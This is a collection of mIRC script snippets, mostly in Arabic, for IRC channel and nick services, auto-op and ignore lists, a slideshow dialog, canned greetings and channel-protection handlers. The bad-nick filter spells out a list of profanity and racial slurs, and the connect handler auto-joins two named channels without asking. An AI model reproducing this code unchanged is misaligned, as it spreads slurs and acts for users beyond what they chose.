menu nicklist { - Auto-op list .ON/Enable ..Add $1:.aop on | aop $1 | .notice $1 I added you to my auto-op list ..Remove $1:.aop on | aop -r $1 | .notice $1 I removed you from my auto-op list ..- ..List:{ if ($aop(0) = 0) { echo 2 * Auto-op list empty | halt } else { .aop on | echo 2 * Auto-op list: | set %i $aop(0) | while (%i) { echo 2 $aop(%i) | dec %i } } } ..Clear:.aop on | set %i $aop(0) | while (%i) { .aop -r $aop(%i) | dec %i } | echo 3 * Auto-op list has been cleared .OFF/Disable:aop off - }               menu nicklist { - Auto-voice list .ON/Enable ..Add $1:.avoice on | avoice $1 | .notice $1 I added you to my auto-voice list ..Remove $1:.avoice on | avoice -r $1 | .notice $1 I removed you from my auto-voice list ..- ..List:{ if ($avoice(0) = 0) { echo 2 * Auto-voice list empty | halt } else { .avoice on | echo 2 * Auto-voice list: | set %i $avoice(0) | while (%i) { echo 2 $avoice(%i) | dec %i } } } ..Clear:.avoice on | set %i $avoice(0) | while (%i) { .avoice -r $avoice(%i) | dec %i } | echo 3 * Auto-voice list has been cleared .OFF/Disable:avoice off - }                menu channel { - | اوامر الـعربجات | .الـجانسيرفر ..تسجيل و برمجة قناةكامله ...القناة الحالية:chanserv register $chan $$?="الكلمة السرية" %logo | /chanserv set $chan topiclock FOUNDER | /chanserv set $chan opguard on | /chanserv set $chan memo sop | /chanserv set $chan ident on | /chanserv set $chan mlock +nt-slkcpimR ...قناة أخرى:chanserv register #$$?="#اسم القناة بدون " $$?="ضع الكلمة السرية" clean chat | /chanserv set #$$?="#اسم القناة بدون " mlock +stn-plkm | /chanserv set #$$?="#اسم القناة بدون " topiclock founder | /chanserv set #$$?="#اسم القناة بدون " opguard on | /chanserv set #$$?="اسم القناة؟(بدون #)" memo founder | /chanserv set #$$?="اسم القناة؟(بدون #)" ident on ..تسجيل القناة ...القناة الحالية:chanserv register $chan $$?="الكلمة السرية" clean chat ...قناة أخرى:chanserv register #$$?="اسم القناة بدون #" $$?="ضع الكلمة السرية" clean chat ...- ...مساعدة:chanserv help register ..لاعطاء كل من يدخل اوب ...اوب ....القناة الحاليه:chanserv set $chan LEAVEOPS ON ....قناة اخرى:chanserv set #$$?="#اسم القناة بدون " LEAVEOPS ON ...اوتوأوب ....القناة الحاليه:chanserv aop $chan add *!*@* ....قناة اخرى:chanserv aop #$$?="#اسم القناة بدون " add *!*@* ...سوبرأوب ....القناة الحاليه:chanserv sop $chan add *!*@* ....قناة اخرى:chanserv sop #$$?="#اسم القناة بدون " add *!*@* ... ..قفل الأحرف ...قفل الاحرف ....تشغيل +stn-plkm .....القناة الحاليه:chanserv set $chan mlock +stn-plkm .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock +strn-plkm ....إيقاف -stnplkimR .....القناة الحاليه:chanserv set $chan mlock -stnplrkimR .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock -stnplkrimR ...عزيمة -+i ....تشغيل .....القناة الحالية:chanserv set $chan mlock +i .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock +i ....إيقاف .....القناة الحالية:chanserv set $chan mlock -i .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock -i ...عدد معين -+l ....تشغيل .....القناة الحالية:chanserv set $chan mlock +l $$?="اذكر العدد" .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock +l $$?="اذكر العدد؟" ....إيقاف .....القناة الحالية:chanserv set $chan mlock -l .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock -l ...خاصة -+p ....تشغيل .....القناة الحالية:chanserv set $chan mlock +p .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock +p ....إيقاف .....القناة الحالية:chanserv set $chan mlock -p .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock -p ...سرية -+s ....تشغيل .....القناة الحالية:chanserv set $chan mlock +s .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock +s ....إيقاف .....القناة الحالية:chanserv set $chan mlock -s .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock -s ...مفتاح القناة -+k ....تشغيل .....القناة الحالية:chanserv set $chan mlock +k $$?="حدد مفتاح دخول القناة؟" .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock +k $$?="حدد مفتاح دخول القناة؟" ....إيقاف .....القناة الحالية:chanserv set $chan mlock -k .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock -k ...moderated -+m ....تشغيل .....القناة الحالية:chanserv set $chan mlock +m .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock +m ....إيقاف .....القناة الحالية:chanserv set $chan mlock -m .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock -m ...no messages -+n ....تشغيل .....القناة الحالية:chanserv set $chan mlock +n .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock +n ....إيقاف .....القناة الحالية:chanserv set $chan mlock -n .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock -n ...ops topic -+t ....تشغيل .....القناة الحالية:chanserv set $chan mlock +t .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock +t ....إيقاف .....القناة الحالية:chanserv set $chan mlock -t .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock -t ...- ...أدخل الأحرف ....القناة الحالية:chanserv set $chan mlock $$?="حدد الأحرف التي ترغب بإقفال القناة بها؟" ....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock $$?="حدد الأحرف التي ترغب بإقفال القناة بها؟" ...ايقاف قفل الأحرف ....القناة الحالية:chanserv set $chan mlock * ....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " mlock * ...- ...مساعدة:chanserv help set mlock ..قفل التوبك ...الفاوندر فقط ....القناة الحالية:chanserv set $chan topiclock founder ....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " topiclock founder ...سوبر فقط ....القناة الحالية:chanserv set $chan topiclock sop ....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " topiclock sop ...لفتح قفل التوبيك ....القناة الحالية:chanserv set $chan topiclock off ....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " topiclock off ...- ...مساعدة:chanserv help set topiclock ..خيارات أخرى ...لتغيير الفاوندر ....القناة الحالية:chanserv set $chan founder ....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " founder ....- ....مساعدة:chanserv help set founder ...لتغيير الكلمة السرية ....القناة الحالية:chanserv set $chan password $$?="أدخل كلمة السر الجديدة؟" ....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " passwd $$?="أدخل كلمة السر الجديدة؟" ....- ....مساعدة:chanserv help set passwd ...لتغيير وصف القناة ....القناة الحالية:chanserv set $chan desc $$?="ما هو وصف القناة الجديد؟" ....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " desc $$?="ما هو وصف القناة الجديد؟" ....- ....مساعدة:chanserv help set desc ...قفل الاوب ....تشغيل .....القناة الحالية:chanserv set $chan opguard on .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " opguard on ....إيقاف .....القناة الحالية:chanserv set $chan opguard off .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " opguard off ....- ....مساعدة:chanserv help set opguard ...لحفظ التوبيك السابق ....تشغيل .....القناة الحالية:chanserv set $chan keeptopic on .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " keeptopic on ....إيقاف .....القناة الحالية:chanserv set $chan keeptopic off .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " keeptopic off ....- ....مساعدة:chanserv help set keeptopic ...لوضع عنوان او ايميل للقناة ....العنوان .....القناة الحالية:chanserv set $chan url $$?="ما هو العنوان او الايميل الذي تريد وضعه للقناة عند الاستفسار عنها؟" .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " url $$?="ما هو العنوان او الايميل الذي تريد وضعه للقناة عند الاستفسار عنها؟" ....إلغاء العنوان .....القناة الحالية:chanserv set $chan url .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " url ....- ....مساعدة:chanserv help set url ...لترك الاوبات ....تشغيل .....القناة الحالية:chanserv set $chan leaveops on .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " leaveops on ....إيقاف .....القناة الحالية:chanserv set $chan leaveops off .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " leaveops off ....- ....مساعدة:chanserv help set leaveops ...لتقليل الحماية ....تشغيل .....القناة الحالية:chanserv set $chan unsecure on .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " unsecure on ....إيقاف .....القناة الحالية:chanserv set $chan unsecure off .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " unsecure off ....- ....مساعدة:chanserv help set unsecure ...لجعل القناة خاصة ....تشغيل .....القناة الحالية:chanserv set $chan private on .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " private on ....إيقاف .....القناة الحالية:chanserv set $chan private off .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " private off ....- ....مساعدة:chanserv help set private ...لا يؤخذالاوب الا بعدتعريف النك ....تشغيل .....القناة الحالية:chanserv set $chan ident on .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " ident on ....إيقاف .....القناة الحالية:chanserv set $chan ident off .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " ident off ....- ....مساعدة:chanserv help set ident ...الاوبات فقط يمكنهم دخول القناة ....تشغيل .....القناة الحالية:chanserv set $chan restrict on .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " restrict on ....إيقاف .....القناة الحالية:chanserv set $chan restrict off .....قناة أخرى:chanserv set #$$?="#اسم القناة بدون " restrict off ....- ....مساعدة:chanserv help set restrict ...مستوى الرسالة memo ....القناة الحالية .....بلا:chanserv set $chan memo none .....اوتواوب:chanserv set $chan memo aop .....سوبر:chanserv set $chan memo sop .....فاوندر:chanserv set $chan memo founder ....قناة أخرى .....بلا:chanserv set #$$?="#اسم القناة بدون " memo none .....اوتواوب:chanserv set #$$?="#اسم القناة بدون " memo aop .....سوبر:chanserv set #$$?="#اسم القناة بدون " memo sop .....فاوندر:chanserv set #$$?="#اسم القناة بدون " memo founder ..خيارات للسوبر ...قائمة السوبر ....القناة الحالية:chanserv sop $chan list ....قناة أخرى:chanserv sop #$$?="#اسم القناة بدون " list ...لاضافة سوبر ....رقم الاشتراك .....القناة الحالية:chanserv sop $chan add $$?="example: *!email@*.anywhere.com" .....قناة أخرى:chanserv sop #$$?="#اسم القناة بدون " add $$?="example: *!email@*.anywhere.com" ....النك .....القناة الحالية:chanserv sop $chan add $$?="ماهو النك" .....قناة أخرى:chanserv sop #$$?="#اسم القناة بدون " add $$?="ماهو النك" ...لإلغاء سوبر ....القناة الحالية:chanserv sop $chan del $$?="أدخل النك أو رقم ترتيبة بالقائمة" ....قناة أخرى:chanserv sop #$$?="#اسم القناة بدون " del $$?="أدخل النك أو رقم ترتيبة بالقائمة" ...- ...مساعدة:chanserv help sop ..خيارات للاوتو اوب ...قائمة الاوتو اوب ....القناة الحالية:chanserv aop $chan list ....قناة أخرى:chanserv aop #$$?="#اسم القناة بدون " list ...لاضافة اوتواوب ....رقم الاشتراك .....القناة الحالية:chanserv aop $chan add $$?="example: *!email@*.anywhere.com" .....قناة أخرى:chanserv aop #$$?="#اسم القناة بدون " add $$?="example: *!email@*.anywhere.com" ....النك .....القناة الحالية:chanserv aop $chan add $$?="ماهو النك" .....قناة أخرى:chanserv aop #$$?="#اسم القناة بدون " add $$?="ماهو النك" ...لإلغاء اوتواوب ....القناة الحالية:chanserv aop $chan del $$?="أدخل النك أو رقم ترتيبة بالقائمة" ....قناة أخرى:chanserv aop #$$?="#اسم القناة بدون " del $$?="أدخل النك أو رقم ترتيبة بالقائمة" ...- ...مساعدة:chanserv help aop ..خيارات الاوتوكيك ...قائمة الاوتوكيك ....القناة الحالية:chanserv akick $chan list ....قناة أخرى:chanserv akick #$$?="#اسم القناة بدون " list ...لاضافة اوتوكيك ....رقم الاشتراك .....القناة الحالية:chanserv akick $chan add $$?="example: *!email@*.anywhere.com" .....قناة أخرى:chanserv akick #$$?="#اسم القناة بدون " add $$?="example: *!email@*.anywhere.com" ....النك .....القناة الحالية:chanserv akick $chan add $$?="ما هوالنك?" *!*@* .....قناة أخرى:chanserv akick #$$?="#اسم القناة بدون " add $$?="ماهو النك" ...لإلغاء اوتوكيك ....القناة الحالية:chanserv akick $chan del $$?="أدخل النك أو رقم ترتيبة بالقائمة" ....قناة أخرى:chanserv akick #$$?="#اسم القناة بدون " del $$?="أدخل النك أو رقم ترتيبة بالقائمة" ...- ...مساعدة:chanserv help akick ..لإلغاء قناة مسجلة ...القناة الحالية:chanserv drop $chan ...قناة أخرى:chanserv drop #$$?="#اسم القناة بدون " ...- ...مساعدة:chanserv help drop ..للتعريف برقم القناة ...القناة الحالية:chanserv identify $chan $$?="أدخل الباسورد" ...قناة أخرى:chanserv identify #$$?="#اسم القناة بدون " $$?="أدخل الباسورد" ...- ...مساعدة:chanserv help identify ..مستوى من يدخل القناة ...القناة الحالية:chanserv access $chan $$?="ماهو النك" ...قناة أخرى:chanserv access #$$?="#اسم القناة بدون " $$?="ماهو النك" ...- ...مساعدة:chanserv help access ..طلب اوب من السيرفر ...اوب ....القناة الحالية:chanserv op $chan $$?="ماهو النك" ....قناة أخرى:chanserv op #$$?="#اسم القناة بدون " $$?="ماهو النك" ...لسحب الاوب ....القناة الحالية:chanserv op $chan - $+ $$?="ماهو النك" ....قناة أخرى:chanserv op #$$?="#اسم القناة بدون " - $+ $$?="ماهو النك" ...- ...مساعدة:chanserv help op ..لازالة الباند ...عني ....القناة الحالية:chanserv unban $chan me ....قناة أخرى:chanserv unban #$$?="#اسم القناة بدون " me ...عن الكل ....القناة الحالية:chanserv unban $chan all ....قناة أخرى:chanserv unban #$$?="#اسم القناة بدون " all ...- ...مساعدة:chanserv help unban ..طلب معلومات عن ...القناة الحالية:chanserv info $chan ...قناة أخرى:chanserv info #$$?="#اسم القناة بدون " ...- ...مساعدة:chanserv help info ..للطلب من السيرفران يعزمك على قناة ...القناة الحالية:chanserv invite $chan $$?="ماهو النك" ...قناة أخرى:chanserv invite #$$?="#اسم القناة بدون " $$?="ماهو النك" ...- ...مساعدة:chanserv help invite ..لانزال الاوبات الكل ...القناة الحالية:chanserv mdeop $chan ...قناة أخرى:chanserv mdeop #$$?="#اسم القناة بدون " ...- ...مساعدة:chanserv help mdeop ..طرد عشوائي للكل ...القناة الحالية:chanserv mkick $chan ...قناة أخرى:chanserv mkick #$$?="#اسم القناة بدون " ...- ...مساعدة:chanserv help mkick ..- ..المساعدة الرئيسية:chanserv help .الـنـك سيرفر ..تسجيل نك ...تسجيل:nickserv register $$?="أدخل الباسورد" ...مساعدة:nickserv help register ..خيارات ...كلمة السر ....لتغيير كلمة السر:nickserv set passwd $$?="ما هي كلمة السر الجديدة؟" ....مساعدة:nickserv help set passwd ...2قفل النك ....on:nickserv set kill on ....off:nickserv set kill off ....- ....مساعدة:nickserv help set kill ...لوضع عنوان ....أدخل العنوان:nickserv set url $$?="ماهو العنوان؟" ....مساعدة:nickserv help set url ...لإيقاف الرسائل ....on:nickserv set nomemo on ....off:nickserv set nomemo off ....- ....مساعدة:nickserv help set nomemo ..المداخل ...قائمة:nickserv access list ...إضافة:nickserv access add $$?="eg: email@*.anywhere.com" ...إلغاء:nickserv access del $$?="eg: email@*.anywhere.com" ...- ...مساعدة:nickserv help set access ..لتعريف النك ...كلمة السر:nickserv identify $$?="أدخل الكلمة السرية؟" ...مساعدة:nickserv help identify ..لاسترجاع النك الغير محمي ...استرجع النك:nickserv recover $$?="اي نك؟" $$?="ماهي كلمة السر؟" ...مساعدة:nickserv help recover ..لاسترجاع النك المحمي ...استرجع النك:nickserv ghost $$?="اي نك؟" $$?="ماهي كلمة السر؟" ...مساعدة:nickserv help ghost ..لإلغاء نك ....لإلغاء من التسجيل؟:nickserv drop $$?="ما هو النك؟" ...مساعدة:nickserv help drop ..لفصل السيرفر من نك ...لسحب النك:nickserv GHOST $$?="ماهو النك؟" $$?="ما هي كلمة السر للنك؟" ..لإجبارالسيرفرعلىإطلاق نك ...إطلاق النك:nickserv release $$?="ماهو النك؟" $$?="ما هي كلمة السر للنك؟" ...مساعدة:nickserv help release ..معلومات عن نك ...استعلم:nickserv info $$?="ماهو النك" ...مساعدة:nickserv help info ..مستوى الدخول ...ماهو المستوى:nickserv acc $$?="ماهو النك؟" ...مساعدة:nickserv help acc ..قائمة ...البحث عن النك بالارقام:nickserv list $$?="ادخل العنوان الذي تبحث عنه؟ eg:frf@*.anywhere.com" ...مساعدة:nickserv help list ..للتعريف على نك أخر ...النك:nickserv identify $$?="ماهو النك؟" $$?="ما هي كلمة السر للنك؟" ...مساعده:nickserv help identify ..للسؤال عن نك ...النك:nickserv id $$?="ما هو النك؟" ...مساعده:nickserv help id ..لقفل النك محد يعطيك اوب ...قفل النك:nickserv SET NOOP ON ...فتح النك:nickserv SET NOOP OFF ..- ..المساعده الرئيسيه:nickserv help .الـميمو سيرفر ..أرسال مسجات ...أرسل للنك:memoserv send $$?="ماهو النك؟" $$?="أكتب الرساله؟" ...أرسل لأوبات قناة:memoserv send #$$?="ادخل اسم الجنل فقـط" 12 $$?="أكتب الرساله؟" ..- ..قائمه:memoserv list ..- ..رساله 1 ...إقرأ1:memoserv read 1 ...أمسح 1:memoserv del 1 ...أسترجع 1:memoserv undel 1 ..رساله 2 ...إقرأ2:memoserv read 2 ...أمسح 2:memoserv del 2 ...إسترجع 2:memoserv undel 2 ..رساله 3 ...إقرأ 3:memoserv read 3 ...أمسح 3:memoserv del 3 ...إسترجع 3:memoserv undel 3 ..رساله4 ...إقرأ 4:memoserv read 4 ...أمسح 4:memoserv del 4 ...إسترجع 4:memoserv undel 4 ..رساله 5 ...إقرأ 5:memoserv read 5 ...أمسح 5:memoserv del 5 ...إسترجع 5:memoserv undel 5 ..أدخل رقم الرساله؟ ...إقرأ ?:memoserv read $$?="أدخل رقم الرسالة؟" ...أمسح ?:memoserv delete $$?="أدخل رقم الرسالة؟" ...إسترجع ?:memoserv undelete $$?="أدخل رقم الرسالة؟" ..- ..خيارات إعادة إرسال الرساله ...حالة إعادة الارسال:memoserv forward ...إيقاف إعادة الارسال:memoserv forward- ...تحويل رسائلك الى:memoserv forward $$?="ما النك المحول إليه؟" $$?="ما هو الرقم السري للنك؟" ..- ..لإلغاء جميع الرسائل من السيرفر:/msg MemoServ DEL ALL ..- ..مساعدة سيرفر الرسائل ...المساعدة الرئيسية:memoserv help ...- ...ارسل:memoserv help send ...قائمه:memoserv help list ...إقرأ:memoserv help read ...أمسح:memoserv help del ...إسترجع:memoserv help undel ...الإلغاء:memoserv help purge ...التحويل:memoserv help forward } -

menu status { Movie Maker:/dialog -md mov mov } menu channel { Movie Maker:/dialog -md mov mov } dialog mov { title "Movie Maker 1.0" size -1 -1 300 190 button "ok",1,1 1 0 0, ok text "# of frames:",2,0 5 60 15 edit "",3,60 0 50 20 text "Movie Name:",4,115 5 65 15 edit "",5,180 0 120 20 list 6,0 45 300 135 edit "Choose Bitmap picture for frame 1",7,0 22 250 20, read right button "Choose",8,250 22 50 20 button "Play Mov",9,0 170 70 20 link " movies made by amirc.com",10,90 175 220 15 } on *:dialog:mov:dclick:10:.run http://www.amirc.com on *:dialog:mov:sclick:.dialog -m ply ply on *:dialog:mov:sclick:8:{ inc %fram if (%fram > %frames) { halt } .did -r mov 7 | .did -a mov 7 Choose Bitmap picture for frame %fram .writeini movie.ini Frames %fram $file="choose bitmap" *.bmp .set %frame frame %fram - $readini(movie.ini,frames,%fram) .did -a mov 6 %frame } on *:dialog:mov:init:0:{ .set %fram 0 if (%frames == $null) { .set %frames 10 } if (%frames != $null) { .did -a mov 3 %frames } } on *:dialog:mov:edit:3:.set %frames $did(3).text on *:dialog:mov:edit:5:.set %movnam $did(5).text dialog ply { title "Playing Movie" size 0 0 600 600 button "ok",1,1 1 0 0, ok icon 2,0 0 600 600 } on *:dialog:ply:init:0:{ if (%movnam == $null) { .set %movnam movie... } if (%movnam != $null) { .dialog -t ply Playing %movnam } .set %f 0 .timer23 0 1 .ply } alias ply { inc %f if (%f > %frames) { goto end } .did -g ply 2 $readini(movie.ini,frames,%f) halt :end .timer23 off halt } واذا كنت تبيه يشتغل اول ما تفتح السكربت تحط ها الامر بملف يديد on 1:start: { .dialog -m ply ply                menu nicklist { - Ignore list .ON/Enable ..Add $1:.ignore on | ignore $1 | .notice $1 I added you to my ignore list ..Remove $1:.ignore on | ignore -r $1 | .notice $1 I removed you from my ignore list ..- ..List:.ignore on | ignore -l ..Clear:.ignore on | ignore -r .OFF/Disable:ignore off - }              popus for channel NoTiCe . NoTiCe Some 1 :/notice $$?="Enter The nick" 66 $+ $$?="WhaT iS The NoTiCe" . NoTiCe @ :/onotice allon $$?="WhaT iS The NoTiCe" . NoTiCe UsErS :/notice $chan allon $$?="WhaT iS The NoTiCe" - وعاد انت غير الالوان

;===Mass Invite Kick===> #inv on on 1:INVITE:#:{ set %adcn 1 :kick set %adc $comchan($nick,%adcn) if ($comchan($nick,%adcn).op == $false) { inc %adcn | goto kick } if (%adc == $null) { goto end } ban %adc $nick 2 kick %adc $nick 1M4a1s4s 1I4n1v4i1t4e %asal inc %adcn | goto kick :end unset %adc %adcn } #inv End #lag on on 1:CTCPREPLY:*PING*:{ %pt = $ctime - $2 if ($nick == $me) { if (%pt >= 25) { .echo 1 -s 4Y1o4u1r 4L1a4g 1I4s 12: 1[4 %pt 1] 4S1e4c1o4n1d4s 1?4!1!4? 1C4h1a4n1g4e 1Y4o1u4r 1S4e1r4v1e4r %asal halt } else { goto ping24 } :ping24 if (%pt >= 12) { .echo 1 -s 4Y1o4u1r 4L1a4g 1I4s 12: 1[4 %pt 1] 4S1e4c1o4n1d4s %asal halt } else { goto ping11 } :ping11 if (%pt >= 6) { .echo 1 -s 4Y1o4u1r 4L1a4g 1I4s 12: 1[4 %pt 1] 4S1e4c1o4n1d4s %asal halt } else { goto ping5 } :ping5 if (%pt >= 1) { .echo 1 -s 4Y1o4u1r 4L1a4g 1I4s 12: 1[4 %pt 1] 4S1e4c1o4n1d4s %asal halt } else { goto ping0 } :ping0 .echo 1 -s 4Y1o4u1r 4L1a4g 1I4s 12: 1[4 %pt 1] 4S1e4c1o4n1d4s %asal halt } } #lag end alias lag { .set %lagck on .enable #lag ping $me .timer16 0 120 /.ping $!me } ;Auto answer #answer ON on 1:TEXT:باك:#:/msg $chan 4ولـكمـو 14 $NICK on 1:TEXT:برب:#:/msg $chan 4تيت ولا تطوّل 14 $NICK on 1:TEXT:*السلام عليكم*:#:/msg $chan 4وعليكم السلام 14 $NICK on 1:TEXT:مرحبا:#:/msg $chan 4مرحبتين هلا 14 $NICK on 1:TEXT:باي:#:/msg $chan 4حياك الله 14 $NICK on 1:TEXT:باى:#:/msg $chan 4الله وياك 14 $NICK on 1:TEXT:شخباركم:#:/msg $chan 4الحمد لله وانت؟ 14 $NICK on 1:TEXT:مساء الخير:#:/msg $chan 4مساء النور والسرور 14 $NICK on 1:TEXT:صباح الخير:#:/msg $chan 4صباح الورد 14 $NICK on 1:TEXT:السلام:#:/msg $chan 4عليكم السلام 14 $NICK on 1:TEXT:مع السلامه:#:/msg $chan 4حيـاك وما تشـوف شـر 14 $NICK on 1:TEXT:سلام:#:/msg $chan 4وعليكم السلام 14 $NICK on 1:TEXT:شلونكم:#:/msg $chan 4الحمد لله انـت شـلـونـك ؟ 14 $NICK on 1:TEXT:hi all:#:/msg $chan 4H14i 4T14o 4Y14o4u 4 $NICK on 1:TEXT:hi:#:/msg $chan 4H14i 4T14o 4Y14o4u 4 $NICK on 1:TEXT:هاي:#:/msg $chan 4H14i 4T14o 4Y14o4u $NICK on 1:TEXT:*السلام عليكم ورحمة الله وبركاته*:#:/msg $chan 4وعليكم السلام ورحمة الله وبركاته 14 $NICK #answer end #helban on on @1:ban:#:{ if (dal.net isin $nick) || (arabchat.org isin $nick) { goto end } else { set %kuwibanflterkicknober 1 goto kick :kick set %kuwibanflterkick $ialchan($banmask,#,%kuwibanflterkicknober).nick if ( %kuwibanflterkick == $null ) { goto end } if ( %kuwibanflterkick isop $chan ) { /onotice # 4!! 4W1a4r1n4n1i4n1g 4!! 4B1a4n 1O4P 1B4y 1O4P 1[4 $banmask 1] %asal | /mode $chan -b $banmask | return } if ( %kuwibanflterkick ison $chan ) { kick # %kuwibanflterkick 4Y1o4u1r 4I1p 4B1a4n 1B4y 1[4 $+ $Nick $+ 1] %asal } inc %kuwibanflterkicknober 1 goto kick :end unset %kuwibanflterki* } } #helban end on 1:open:?: { if ($chr(35) isin $1-) { set %advermsg $1- | /msg $nick 4Y1o4u1r 4I1n4v1i4t1e 4W1a4s 1B4a1d 12, 4G1o 4T1o 4M1y 4I1g4n1o4r1e 4L1i4s1t %asal | /echo -a 4[1 $+ $nick $+ 4] $1- | /ignore -u60 $nick | .auser 565 $wildsite | .auser 656 $nick | .closemsg $nick | goto end } if ( /server isin $1-) { set %advermsg $1- | /msg $nick 4Y1o4u1r 4I1n4v1i4t1e 4W1a4s 1B4a1d 12, 4G1o 4T1o 4M1y 4I1g4n1o4r1e 4L1i4s1t %asal | /echo -a 4[1 $+ $nick $+ 4] $1- | /ignore -u60 $nick | .auser 565 $wildsite | .auser 656 $nick | .closemsg $nick | goto end } if ( http:// isin $1-) { set %advermsg $1- | /msg $nick 4Y1o4u1r 4I1n4v1i4t1e 4W1a4s 1B4a1d 12, 4G1o 4T1o 4M1y 4I1g4n1o4r1e 4L1i4s1t %asal | /echo -a 4[1 $+ $nick $+ 4] $1- | /ignore -u60 $nick | .auser 565 $wildsite | .auser 656 $nick | .closemsg $nick | goto end } if ( www. isin $1-) { set %advermsg $1- | /msg $nick 4Y1o4u1r 4I1n4v1i4t1e 4W1a4s 1B4a1d 12, 4G1o 4T1o 4M1y 4I1g4n1o4r1e 4L1i4s1t %asal | /echo -a 4[1 $+ $nick $+ 4] $1- | /ignore -u60 $nick | .auser 565 $wildsite | .auser 656 $nick | .closemsg $nick | goto end } else { goto end } :end } #offnickkick on on @1:JOIN:#: { if ( %offnickkick == ON ) { goto badnick } :badnick if ( fuck isin $nick ) || ( bitch isin $nick ) || ( biatch isin $nick ) || ( asshole isin $nick ) || ( whore isin $nick ) || ( prick isin $nick ) || ( bastard isin $nick ) || ( horney isin $nick ) || ( horny isin $nick ) || ( sex isin $nick ) || ( dick isin $nick ) || ( pussy isin $nick ) || ( cunt isin $nick ) || ( cock isin $nick ) || ( pimp isin $nick ) || ( nigger isin $nick ) || ( nigga isin $nick ) || ( slut isin $nick ) { inc %knum 2 if ( $remove(%bantime,-u) > 0 ) { ban %bantime $chan $nick 2 } ban -u300 $chan $nick 2 kick $chan $nick 4B1a4d 1N4i1c4k %asal ;end } } #offnickkick end on *:NICK: { if ( fuck isin $newnick ) || ( bitch isin $newnick ) || ( biatch isin $newnick ) || ( asshole isin $newnick ) || ( whore isin $newnick ) || ( prick isin $newnick ) || ( bastard isin $newnick ) || ( horney isin $newnick ) || ( horny isin $newnick ) || ( orgasm isin $newnick ) || ( orgy isin $newnick ) || ( pussy isin $newnick ) || ( cunt isin $newnick ) || ( cock isin $newnick ) || ( nigger isin $newnick ) || ( nigga isin $newnick ) || ( slut isin $newnick ) || ( sex isin $newnick ) { var %i = 0 inc %i ban -u300 $comchan($newnick,%i) $newnick 2 kick $comchan($newnick,%i) $newnick 4Y1o4u1r 4N1e4w 1N4i1c4k 1I4s 1B4a1d 12, 4C1h4a1n4g1e 4I1t 4T1o 4C1o4m1e 4B1a4c1K 4A1g4a1i4n %asal } } on 1:connect:{ if (dal.net isin $server) { join #الشعر } if (arabchat.org isin $server) { join #ابيات } set %asal 12F14ô12r1-12M14e1_12§14ç12®14ï12p14† .timertime off .timer 0 1000 .updatenl .pdcc 99999999 .ial on if (dal.net isin $server) { enable #dal.net | .disable #arab.chat | enable #dal.net.s | .disable #arab.chat.s } if (arabchat.org isin $server) { disable #dal.net | .enable #arab.chat | disable #dal.net.s | .enable #arab.chat.s } if (dal.net !isin $server) && (arabchat.org !isin $server) { enable #dal.net | .disable #arab.chat } inc %counter.con unset %advermsg* %rvdoork* %tflood* %xflood* %nflood* %ctcpflood* %dccflood* %aflood* %nickflood* %nuke* %logviews* %activetext* %kuwibanflterkick ""* %invite* .timer 1 2 infome /ignore -r /play -s StartUp.txt 100 | /echo -s 4 ملاحظــة : 4 السكربت يدخلك جنل الشعر بالدالنت وجنل ابيات بالعرب جات تلقائيَّـاََ ، واذا كنت لا تريد ان تدخل احد هذه القنوات فذلك امر سهل ، فقط قبل ان تشبك على السيرفر طف الريموت وبعد ان تشبك وتدخل القناه الخاصه بك قم بتشغيل الريموت ، وحظ سعيد ووقت ممتع للجميـع %asal /remote on /plng /F1 IAL on chanproon } alias infome { echo -s 1~~~~~~~~~~~~~~ 4I1n4f1o ~~~~~~~~~~~~~~ echo -s 4Y1o4u1r 4S1e4r1v4e1r 12: $server echo -s 4Y1o4u1r 4N1i4c1k 12: $me echo -s 4Y1o4u1r 4H1o4s1t 12: $host echo -s 4Y1o4u1r 4I1P 12: $ip echo -s 4C1o4n1n4e1c4t 1N4u1m4b1e4r 12: %counter.con echo -s 1~~~~~~~~~~~~~~~ 4E1n4d 1~~~~~~~~~~~~~~~ } on 1:disconnect:{ set %asal 12F14ô12r1-12M14e1_12§14ç12®14ï12p14† rlevel 110 | /.rlevel 111 | /.rlevel 112 | /.rlevel 113 | /.rlevel 114 | /.rlevel 115 | /.rlevel 116 | /.rlevel 117 | /.rlevel 118 | /.rlevel 119 | /.rlevel 8 | /.rlevel 777 | /.rlevel 565 | /.rlevel 656 | /.ignore 